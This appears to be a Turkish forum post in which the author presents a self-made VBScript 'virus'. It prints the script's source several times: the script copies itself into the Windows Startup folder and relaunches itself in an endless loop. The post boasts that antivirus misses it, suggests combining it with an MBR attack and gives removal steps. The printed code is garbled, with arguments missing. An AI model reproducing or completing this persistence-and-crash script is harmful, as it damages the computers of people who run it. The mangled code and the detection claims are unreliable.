Virüsün diğer adları: Google-Detected Cyren VBS. Agent. WA Eset Nod32 VBS/Runner. OBE VirusTotal Kod:Panoya kopyala do CreateObject . Namespace(7). CopyHere WScript. ScriptFullName, 4 + 16 + 1024 Dim objShell Set objShell = WScript. CreateObject objShell. Run("file1. vbs") Set objShell = Nothing loop Tehlike seviyesi: Son düzey kullanıcı: Düşük ama bilmiyorsa çok yüksek. Sıradan kullanıcı: Çok yüksek. Nasıl silinir? Şimdi bu virüs açılınca fare falan dönüp bilgisayar çoktan çöküyor zaten. Çökmediyse görev yöneticisini açın. Başlangıç kısmına gelin ve file1. vbs çıkacak. Ne varsa kapatın eğer bulamadıysanız. Eğer geliştirip kendini gizlediyse bela. Dosya konumunu açın. Windows'un başlangıç klasörü var o. Eğer düzenlemeye izin veriyorsa sağ tık yapın. "file1. vbs" yazan kısmı silin ve kaydedin. Dosyayı artık silebilirsiniz. Yoksa önbellekte sürekli kendini yeniliyor virüs. CPU 100% kullanım yapıyor direk. Güvenli moda geçip silmekte fayda var. Çalıştır yapın. Windows ve R tuşuna basın açılır. shell:startup yazın. Orada çıkar ve silin eğer güvenli modda iseniz işe yarar. Bu virüsü antivirüsler bulamıyorlar. Bulsa direk son seviye tehdit deyip siliyor. Karantina yasak. Öyle bir virüs yani. Bu virüsü nerede olduğunu bulup silmeniz zor. Bilgisayar yeni başlatınca da oluşuyor. Ayrıca bu virüsün kombo hali var. Bu içeriği görüntülemek için üçüncü taraf çerezlerini yerleştirmek için izninize ihtiyacımız olacak. Daha detaylı bilgi için, çerezler sayfamıza bakınız. Üçüncü taraf çerezlerini kabul et eğer bu virüs ile birleşirse daha sıkıntılı oluyor. Sürekli kopyala yapıştır yapıldıysa daha da sıkıntılı. Özellikle virüs şu halde ise çok sıkıntılı. Virüs çok kısa kod ile çok iş yapmak için tasarlandı ama sürekli aynısını yazınca sorunlu. Kod:Panoya kopyala do CreateObject . Namespace(7). CopyHere WScript. ScriptFullName, 4 + 16 + 1024 Dim objShell Set objShell = WScript. CreateObject objShell. Run("file1. vbs") Set objShell = Nothing CreateObject . Namespace(7). CopyHere WScript. ScriptFullName, 4 + 16 + 1024 Dim objShell Set objShell = WScript. CreateObject objShell. Run("file1. vbs") Set objShell = Nothing CreateObject . Namespace(7). CopyHere WScript. ScriptFullName, 4 + 16 + 1024 Dim objShell Set objShell = WScript. CreateObject objShell. Run("file1. vbs") Set objShell = Nothing loop Bunun gibi halde ise sürekli kendini yenileyecektir. MBR ile birleşirse çok çok tehlikeli olur. Daha çok kod eklenince virüs tespit edilir halde oluyor. Şaka virüsü demek yanlış olur. Çünkü virüsün sade hali bile trojan atı olarak görülüyor. Bu durumda MBR'yi fixlemek ve format usb ile cmd kısmına girip virüsü silmek gerekli. VirusTotal Free Automated Malware Analysis Service - powered by Falcon Sandbox Virüs Ocak 29 2023'de benim tarafından taranmıştı fakat hata verdi. Birde onla ilişkili tarama vardı ve şüpheli çıktı. Fakat filescan.io virüs skoru verdi. 100/100 skor aldı. Hybird ise şu an şüpheli diye gösteriyor. Bir tane daha tarama var şu an. Virüs eskiden kalma bir virüs. Uzun zamandır duruyor. Windows Defender bulamıyor ama açınca bilgisayar çöküyor. Çok kısa kodla çok etkili virüs yapmayı denemiştim. Böyle bir şey çıktı. Malwarebytes bile bulamadı.